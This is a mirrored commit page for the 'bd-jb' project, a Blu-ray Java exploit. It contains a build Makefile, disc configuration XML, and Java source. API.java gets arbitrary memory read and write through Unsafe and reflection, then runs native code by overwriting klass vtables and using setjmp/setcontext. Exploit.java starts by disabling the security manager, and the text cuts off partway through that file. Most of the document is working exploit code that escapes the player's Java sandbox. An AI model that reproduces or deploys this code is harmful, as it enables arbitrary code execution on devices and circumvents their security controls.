mirror of
https://github.com/TheOfficialFloW/bd-jb
synced 2024-11-21 00:15:02 -05:00
Initial commit.
This commit is contained in:
commit
8f0a5539e8
8
.gitignore
vendored
Normal file
8
.gitignore
vendored
Normal file
@ -0,0 +1,8 @@
|
||||
.idea/
|
||||
tools/
|
||||
lib/
|
||||
disc/CERTIFICATE/id.bdmv
|
||||
disc/BDMV/index.bdmv
|
||||
disc/BDMV/MovieObject.bdmv
|
||||
disc/BDMV/JAR/00000.jar
|
||||
disc/BDMV/BDJO/00000.bdjo
|
21
LICENSE
Normal file
21
LICENSE
Normal file
@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (C) 2021 Andy Nguyen
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
34
Makefile
Normal file
34
Makefile
Normal file
@ -0,0 +1,34 @@
|
||||
SRC = \
|
||||
com/bdjb/ExploitXlet.java \
|
||||
com/bdjb/Exploit.java \
|
||||
com/bdjb/ExploitInterface.java \
|
||||
com/bdjb/ExploitUserPrefsImpl.java \
|
||||
com/bdjb/ExploitServiceProxyImpl.java \
|
||||
com/bdjb/IxcProxyImpl.java \
|
||||
com/bdjb/ServiceInterface.java \
|
||||
com/bdjb/ServiceImpl.java \
|
||||
com/bdjb/ProviderAccessorImpl.java \
|
||||
com/bdjb/PayloadClassLoader.java \
|
||||
com/bdjb/Payload.java \
|
||||
com/bdjb/UnsafeInterface.java \
|
||||
com/bdjb/UnsafeJdkImpl.java \
|
||||
com/bdjb/UnsafeSunImpl.java \
|
||||
com/bdjb/API.java \
|
||||
com/bdjb/JIT.java \
|
||||
com/bdjb/Screen.java \
|
||||
|
||||
all:
|
||||
javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer
|
||||
javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC)
|
||||
jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm
|
||||
java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar
|
||||
java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo
|
||||
java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv
|
||||
java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv
|
||||
java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv
|
||||
|
||||
clean:
|
||||
rm -rf *.class
|
||||
rm -rf com/bdjb/*.class
|
||||
rm -rf com/bdjb/*.ser
|
||||
rm -rf META-INF
|
7
README.md
Normal file
7
README.md
Normal file
@ -0,0 +1,7 @@
|
||||
# bd-jb
|
||||
|
||||
The first bd-j hack.
|
||||
|
||||
# Credits
|
||||
|
||||
- bd-j tools from https://github.com/zathras/java.net
|
29
bdmv/MovieObject.xml
Normal file
29
bdmv/MovieObject.xml
Normal file
@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<movieObjectFile>
|
||||
<version>0200</version>
|
||||
<movieObjects>
|
||||
<movieObject mobjId="0">
|
||||
<navigationCommands commandId="0">
|
||||
<command>21810000 00000001 00000000</command>
|
||||
</navigationCommands>
|
||||
<terminalInfo>
|
||||
<menuCallMask>false</menuCallMask>
|
||||
<resumeIntentionFlag>false</resumeIntentionFlag>
|
||||
<titleSearchMask>false</titleSearchMask>
|
||||
</terminalInfo>
|
||||
</movieObject>
|
||||
<movieObject mobjId="1">
|
||||
<navigationCommands commandId="0">
|
||||
<command>21810000 00000001 00000000</command>
|
||||
</navigationCommands>
|
||||
<terminalInfo>
|
||||
<menuCallMask>false</menuCallMask>
|
||||
<resumeIntentionFlag>false</resumeIntentionFlag>
|
||||
<titleSearchMask>false</titleSearchMask>
|
||||
</terminalInfo>
|
||||
</movieObject>
|
||||
</movieObjects>
|
||||
<extensionData/>
|
||||
<paddingsN1>0</paddingsN1>
|
||||
<paddingsN2>0</paddingsN2>
|
||||
</movieObjectFile>
|
47
bdmv/bdjo.xml
Normal file
47
bdmv/bdjo.xml
Normal file
@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<bdjo>
|
||||
<appCacheInfo>
|
||||
<entries>
|
||||
<language>*.*</language>
|
||||
<name>00000</name>
|
||||
<type>1</type>
|
||||
</entries>
|
||||
</appCacheInfo>
|
||||
<applicationManagementTable>
|
||||
<applications>
|
||||
<applicationDescriptor>
|
||||
<baseDirectory>00000</baseDirectory>
|
||||
<binding>TITLE_BOUND_DISC_BOUND</binding>
|
||||
<classpathExtension></classpathExtension>
|
||||
<iconFlags>0x0</iconFlags>
|
||||
<iconLocator></iconLocator>
|
||||
<initialClassName>com.bdjb.ExploitXlet</initialClassName>
|
||||
<priority>128</priority>
|
||||
<profiles>
|
||||
<majorVersion>1</majorVersion>
|
||||
<microVersion>0</microVersion>
|
||||
<minorVersion>0</minorVersion>
|
||||
<profile>1</profile>
|
||||
</profiles>
|
||||
<visibility>V_01</visibility>
|
||||
</applicationDescriptor>
|
||||
<applicationId>0x4000</applicationId>
|
||||
<controlCode>0x1</controlCode>
|
||||
<organizationId>0x56789abc</organizationId>
|
||||
<type>0x1</type>
|
||||
</applications>
|
||||
</applicationManagementTable>
|
||||
<fileAccessInfo>.</fileAccessInfo>
|
||||
<keyInterestTable>0x0</keyInterestTable>
|
||||
<tableOfAccessiblePlayLists>
|
||||
<accessToAllFlag>false</accessToAllFlag>
|
||||
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag>
|
||||
</tableOfAccessiblePlayLists>
|
||||
<terminalInfo>
|
||||
<defaultFontFile>00000</defaultFontFile>
|
||||
<initialHaviConfig>HD_1920_1080</initialHaviConfig>
|
||||
<menuCallMask>false</menuCallMask>
|
||||
<titleSearchMask>false</titleSearchMask>
|
||||
</terminalInfo>
|
||||
<version>V_0200</version>
|
||||
</bdjo>
|
6
bdmv/id.xml
Normal file
6
bdmv/id.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<id>
|
||||
<discId>0x00000000000000000000000000000001</discId>
|
||||
<orgId>0x56789abc</orgId>
|
||||
<version>0200</version>
|
||||
</id>
|
32
bdmv/index.xml
Normal file
32
bdmv/index.xml
Normal file
@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<index>
|
||||
<appInfo/>
|
||||
<extensionData/>
|
||||
<indexes>
|
||||
<firstPlayback>
|
||||
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||
<HDMVName>0x0</HDMVName>
|
||||
<playbackType>HDMVPlayback_MOVIE</playbackType>
|
||||
</firstPlaybackObject>
|
||||
</firstPlayback>
|
||||
<topMenu>
|
||||
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject">
|
||||
<HDMVName>0x1</HDMVName>
|
||||
<playbackType>HDMVPlayback_INTERACTIVE</playbackType>
|
||||
</topMenuObject>
|
||||
</topMenu>
|
||||
<titles>
|
||||
<title>
|
||||
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject">
|
||||
<BDJOName>00000</BDJOName>
|
||||
<playbackType>BDJPlayback_MOVIE</playbackType>
|
||||
</indexObject>
|
||||
<titleAccessType>V_00</titleAccessType>
|
||||
</title>
|
||||
</titles>
|
||||
</indexes>
|
||||
<paddingN1>0</paddingN1>
|
||||
<paddingN2>0</paddingN2>
|
||||
<paddingN3>0</paddingN3>
|
||||
<version>0200</version>
|
||||
</index>
|
569
com/bdjb/API.java
Normal file
569
com/bdjb/API.java
Normal file
@ -0,0 +1,569 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/** API class to access native data and execute native code. */
|
||||
final class API {
|
||||
static final int INT8_SIZE = 1;
|
||||
static final int INT16_SIZE = 2;
|
||||
static final int INT32_SIZE = 4;
|
||||
static final int INT64_SIZE = 8;
|
||||
|
||||
static final long RTLD_DEFAULT = -2;
|
||||
|
||||
static final long LIBC_MODULE_HANDLE = 0x2;
|
||||
static final long LIBKERNEL_MODULE_HANDLE = 0x2001;
|
||||
static final long LIBJAVA_MODULE_HANDLE = 0x4A;
|
||||
|
||||
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING =
|
||||
"Unsupported dlopen() operation";
|
||||
|
||||
private static final String SETJMP_SYMBOL = "setjmp";
|
||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext";
|
||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath";
|
||||
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL =
|
||||
"Java_java_lang_reflect_Array_multiNewArray";
|
||||
|
||||
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray";
|
||||
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J";
|
||||
|
||||
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary";
|
||||
private static final String FIND_ENTRY_METHOD_NAME = "findEntry";
|
||||
private static final String FIND_METHOD_NAME = "find";
|
||||
private static final String HANDLE_FIELD_NAME = "handle";
|
||||
|
||||
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1};
|
||||
|
||||
private static final String VALUE_FIELD_NAME = "value";
|
||||
|
||||
private static final Long LONG_VALUE = new Long(1337);
|
||||
|
||||
private static API instance;
|
||||
|
||||
private UnsafeInterface unsafe;
|
||||
|
||||
private long longValueOffset;
|
||||
|
||||
private Object nativeLibrary;
|
||||
private Method findMethod;
|
||||
private Field handleField;
|
||||
|
||||
private long executableHandle;
|
||||
|
||||
private long Java_java_lang_reflect_Array_multiNewArray;
|
||||
private long JVM_NativePath;
|
||||
private long __Ux86_64_setcontext;
|
||||
private long setjmp;
|
||||
|
||||
private boolean jdk11;
|
||||
|
||||
private API() throws Exception {
|
||||
this.init();
|
||||
}
|
||||
|
||||
static synchronized API getInstance() throws Exception {
|
||||
if (instance == null) {
|
||||
instance = new API();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
private native long multiNewArray(Class componentType, int[] dimensions);
|
||||
|
||||
private void init() throws Exception {
|
||||
initUnsafe();
|
||||
initDlsym();
|
||||
initSymbols();
|
||||
initApiCall();
|
||||
}
|
||||
|
||||
private void initUnsafe() throws Exception {
|
||||
try {
|
||||
unsafe = new UnsafeSunImpl();
|
||||
jdk11 = false;
|
||||
} catch (ClassNotFoundException e) {
|
||||
unsafe = new UnsafeJdkImpl();
|
||||
jdk11 = true;
|
||||
}
|
||||
|
||||
longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME));
|
||||
}
|
||||
|
||||
private void initDlsym() throws Exception {
|
||||
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME);
|
||||
|
||||
if (jdk11) {
|
||||
findMethod =
|
||||
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class});
|
||||
} else {
|
||||
findMethod =
|
||||
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class});
|
||||
}
|
||||
|
||||
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME);
|
||||
findMethod.setAccessible(true);
|
||||
handleField.setAccessible(true);
|
||||
|
||||
Constructor nativeLibraryConstructor =
|
||||
nativeLibraryClass.getDeclaredConstructor(
|
||||
new Class[] {Class.class, String.class, boolean.class});
|
||||
nativeLibraryConstructor.setAccessible(true);
|
||||
|
||||
nativeLibrary =
|
||||
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)});
|
||||
}
|
||||
|
||||
private void initSymbols() {
|
||||
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL);
|
||||
if (JVM_NativePath == 0) {
|
||||
throw new IllegalArgumentException("JVM_NativePath symbol could not be found.");
|
||||
}
|
||||
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||
|
||||
if (__Ux86_64_setcontext == 0) {
|
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
executableHandle = JVM_NativePath & ~(4 - 1);
|
||||
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
|
||||
executableHandle += 4;
|
||||
}
|
||||
executableHandle -= 4;
|
||||
|
||||
// Try again.
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
|
||||
}
|
||||
|
||||
if (__Ux86_64_setcontext == 0) {
|
||||
throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found.");
|
||||
}
|
||||
|
||||
if (jdk11) {
|
||||
Java_java_lang_reflect_Array_multiNewArray =
|
||||
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||
} else {
|
||||
Java_java_lang_reflect_Array_multiNewArray =
|
||||
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL);
|
||||
}
|
||||
if (Java_java_lang_reflect_Array_multiNewArray == 0) {
|
||||
throw new IllegalArgumentException(
|
||||
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found.");
|
||||
}
|
||||
|
||||
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL);
|
||||
if (setjmp == 0) {
|
||||
throw new IllegalArgumentException("setjmp symbol could not be found.");
|
||||
}
|
||||
}
|
||||
|
||||
private void initApiCall() {
|
||||
long apiInstance = addrof(this);
|
||||
long apiKlass = read64(apiInstance + 0x08);
|
||||
|
||||
if (jdk11) {
|
||||
long methods = read64(apiKlass + 0x170);
|
||||
int numMethods = read32(methods + 0x00);
|
||||
|
||||
for (int i = 0; i < numMethods; i++) {
|
||||
long method = read64(methods + 0x08 + i * 8);
|
||||
long constMethod = read64(method + 0x08);
|
||||
long constants = read64(constMethod + 0x08);
|
||||
short nameIndex = read16(constMethod + 0x2A);
|
||||
short signatureIndex = read16(constMethod + 0x2C);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||
short nameLength = read16(nameSymbol + 0x00);
|
||||
short signatureLength = read16(signatureSymbol + 0x00);
|
||||
|
||||
String name = readString(nameSymbol + 0x06, nameLength);
|
||||
String signature = readString(signatureSymbol + 0x06, signatureLength);
|
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray);
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
long methods = read64(apiKlass + 0xC8);
|
||||
int numMethods = read32(methods + 0x10);
|
||||
|
||||
for (int i = 0; i < numMethods; i++) {
|
||||
long method = read64(methods + 0x18 + i * 8);
|
||||
long constMethod = read64(method + 0x10);
|
||||
long constants = read64(method + 0x18);
|
||||
short nameIndex = read16(constMethod + 0x42);
|
||||
short signatureIndex = read16(constMethod + 0x44);
|
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
|
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
|
||||
short nameLength = read16(nameSymbol + 0x08);
|
||||
short signatureLength = read16(signatureSymbol + 0x08);
|
||||
|
||||
String name = readString(nameSymbol + 0x0A, nameLength);
|
||||
String signature = readString(signatureSymbol + 0x0A, signatureLength);
|
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME)
|
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) {
|
||||
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Native method could not be installed.");
|
||||
}
|
||||
|
||||
private void buildContext(
|
||||
long contextData,
|
||||
long setJmpData,
|
||||
long rip,
|
||||
long rdi,
|
||||
long rsi,
|
||||
long rdx,
|
||||
long rcx,
|
||||
long r8,
|
||||
long r9) {
|
||||
long rbx = read64(setJmpData + 0x08);
|
||||
long rsp = read64(setJmpData + 0x10);
|
||||
long rbp = read64(setJmpData + 0x18);
|
||||
long r12 = read64(setJmpData + 0x20);
|
||||
long r13 = read64(setJmpData + 0x28);
|
||||
long r14 = read64(setJmpData + 0x30);
|
||||
long r15 = read64(setJmpData + 0x38);
|
||||
|
||||
write64(contextData + 0x48, rdi);
|
||||
write64(contextData + 0x50, rsi);
|
||||
write64(contextData + 0x58, rdx);
|
||||
write64(contextData + 0x60, rcx);
|
||||
write64(contextData + 0x68, r8);
|
||||
write64(contextData + 0x70, r9);
|
||||
write64(contextData + 0x80, rbx);
|
||||
write64(contextData + 0x88, rbp);
|
||||
write64(contextData + 0xA0, r12);
|
||||
write64(contextData + 0xA8, r13);
|
||||
write64(contextData + 0xB0, r14);
|
||||
write64(contextData + 0xB8, r15);
|
||||
write64(contextData + 0xE0, rip);
|
||||
write64(contextData + 0xF8, rsp);
|
||||
|
||||
write64(contextData + 0x110, 0x41414141);
|
||||
write64(contextData + 0x118, 0x41414141);
|
||||
}
|
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) {
|
||||
long fakeCallKlass = malloc(0x400);
|
||||
memset(fakeCallKlass, 0, 0x400);
|
||||
|
||||
long fakeCallKlassVtable = malloc(0x400);
|
||||
for (int i = 0; i < 0x400; i += 8) {
|
||||
write64(fakeCallKlassVtable + i, JVM_NativePath);
|
||||
}
|
||||
|
||||
long ret = 0;
|
||||
|
||||
if (jdk11) {
|
||||
long callClass = addrof(Call.class);
|
||||
long callKlass = read64(callClass + 0x98);
|
||||
|
||||
write64(fakeCallKlassVtable + 0x158, setjmp);
|
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||
write64(callClass + 0x98, fakeCallKlass);
|
||||
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
buildContext(
|
||||
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||
|
||||
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext);
|
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable);
|
||||
write64(callClass + 0x98, fakeCallKlass);
|
||||
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
write64(callClass + 0x98, callKlass);
|
||||
} else {
|
||||
long callClass = addrof(Call.class);
|
||||
long callKlass = read64(callClass + 0x68);
|
||||
|
||||
write64(fakeCallKlassVtable + 0x230, setjmp);
|
||||
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
|
||||
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
|
||||
write64(callClass + 0x68, fakeCallKlass);
|
||||
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
buildContext(
|
||||
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5);
|
||||
|
||||
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext);
|
||||
write64(fakeCallKlass + 0x10, fakeCallKlassVtable);
|
||||
write64(fakeCallKlass + 0x20, fakeCallKlassVtable);
|
||||
write64(callClass + 0x68, fakeCallKlass);
|
||||
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS);
|
||||
|
||||
write64(callClass + 0x68, callKlass);
|
||||
}
|
||||
|
||||
free(fakeCallKlassVtable);
|
||||
free(fakeCallKlass);
|
||||
|
||||
if (ret == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return read64(ret);
|
||||
}
|
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
|
||||
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
|
||||
}
|
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3) {
|
||||
return call(func, arg0, arg1, arg2, arg3, (long) 0);
|
||||
}
|
||||
|
||||
long call(long func, long arg0, long arg1, long arg2) {
|
||||
return call(func, arg0, arg1, arg2, (long) 0);
|
||||
}
|
||||
|
||||
long call(long func, long arg0, long arg1) {
|
||||
return call(func, arg0, arg1, (long) 0);
|
||||
}
|
||||
|
||||
long call(long func, long arg0) {
|
||||
return call(func, arg0, (long) 0);
|
||||
}
|
||||
|
||||
long call(long func) {
|
||||
return call(func, (long) 0);
|
||||
}
|
||||
|
||||
long dlsym(long handle, String symbol) {
|
||||
int oldHandle = (int) RTLD_DEFAULT;
|
||||
try {
|
||||
if (executableHandle != 0) {
|
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
oldHandle = read32(executableHandle);
|
||||
write32(executableHandle, (int) handle);
|
||||
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
|
||||
} else {
|
||||
handleField.setLong(nativeLibrary, handle);
|
||||
}
|
||||
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
|
||||
} catch (Exception e) {
|
||||
return 0;
|
||||
} finally {
|
||||
if (executableHandle != 0) {
|
||||
write32(executableHandle, oldHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
long addrof(Object obj) {
|
||||
try {
|
||||
unsafe.putObject(LONG_VALUE, longValueOffset, obj);
|
||||
return unsafe.getLong(LONG_VALUE, longValueOffset);
|
||||
} catch (Exception e) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
byte read8(long addr) {
|
||||
return unsafe.getByte(addr);
|
||||
}
|
||||
|
||||
short read16(long addr) {
|
||||
return unsafe.getShort(addr);
|
||||
}
|
||||
|
||||
int read32(long addr) {
|
||||
return unsafe.getInt(addr);
|
||||
}
|
||||
|
||||
long read64(long addr) {
|
||||
return unsafe.getLong(addr);
|
||||
}
|
||||
|
||||
void write8(long addr, byte val) {
|
||||
unsafe.putByte(addr, val);
|
||||
}
|
||||
|
||||
void write16(long addr, short val) {
|
||||
unsafe.putShort(addr, val);
|
||||
}
|
||||
|
||||
void write32(long addr, int val) {
|
||||
unsafe.putInt(addr, val);
|
||||
}
|
||||
|
||||
void write64(long addr, long val) {
|
||||
unsafe.putLong(addr, val);
|
||||
}
|
||||
|
||||
long malloc(long size) {
|
||||
return unsafe.allocateMemory(size);
|
||||
}
|
||||
|
||||
long realloc(long ptr, long size) {
|
||||
return unsafe.reallocateMemory(ptr, size);
|
||||
}
|
||||
|
||||
void free(long ptr) {
|
||||
unsafe.freeMemory(ptr);
|
||||
}
|
||||
|
||||
long memcpy(long dest, long src, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
write8(dest + i, read8(src + i));
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
long memcpy(long dest, byte[] src, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
write8(dest + i, src[i]);
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
byte[] memcpy(byte[] dest, long src, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
dest[i] = read8(src + i);
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
long memset(long s, int c, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
write8(s + i, (byte) c);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
byte[] memset(byte[] s, int c, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
s[i] = (byte) c;
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
int memcmp(long s1, long s2, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = read8(s2 + i);
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int memcmp(long s1, byte[] s2, long n) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = s2[i];
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int memcmp(byte[] s1, long s2, long n) {
|
||||
return memcmp(s2, s1, n);
|
||||
}
|
||||
|
||||
int strcmp(long s1, long s2) {
|
||||
int i = 0;
|
||||
while (true) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = read8(s2 + i);
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||
return 0;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
int strcmp(long s1, String s2) {
|
||||
byte[] bytes = toCBytes(s2);
|
||||
int i = 0;
|
||||
while (true) {
|
||||
byte b1 = read8(s1 + i);
|
||||
byte b2 = bytes[i];
|
||||
if (b1 != b2) {
|
||||
return (int) b1 - (int) b2;
|
||||
}
|
||||
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||
return 0;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
int strcmp(String s1, long s2) {
|
||||
return strcmp(s2, s1);
|
||||
}
|
||||
|
||||
long strcpy(long dest, long src) {
|
||||
int i = 0;
|
||||
while (true) {
|
||||
byte ch = read8(src + i);
|
||||
write8(dest + i, ch);
|
||||
if (ch == (byte) 0) {
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
long strcpy(long dest, String src) {
|
||||
byte[] bytes = toCBytes(src);
|
||||
int i = 0;
|
||||
while (true) {
|
||||
byte ch = bytes[i];
|
||||
write8(dest + i, ch);
|
||||
if (ch == (byte) 0) {
|
||||
break;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
|
||||
String readString(long src, int n) {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
int i = 0;
|
||||
while (true) {
|
||||
byte ch = read8(src + i);
|
||||
if (ch == (byte) 0 || i == n) {
|
||||
break;
|
||||
}
|
||||
outputStream.write(new byte[] {ch}, 0, 1);
|
||||
i++;
|
||||
}
|
||||
return outputStream.toString();
|
||||
}
|
||||
|
||||
String readString(long src) {
|
||||
return readString(src, -1);
|
||||
}
|
||||
|
||||
byte[] toCBytes(String str) {
|
||||
byte[] bytes = new byte[str.length() + 1];
|
||||
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private final class Call {}
|
||||
}
|
87
com/bdjb/Exploit.java
Normal file
87
com/bdjb/Exploit.java
Normal file
@ -0,0 +1,87 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
import java.net.ServerSocket;
|
||||
|
||||
class Exploit implements Runnable {
|
||||
static void init() {
|
||||
Screen.println("[+] bd-jb by theflow");
|
||||
|
||||
Screen.println("[*] Disabling security manager...");
|
||||
|
||||
ExploitInterface[] exploits =
|
||||
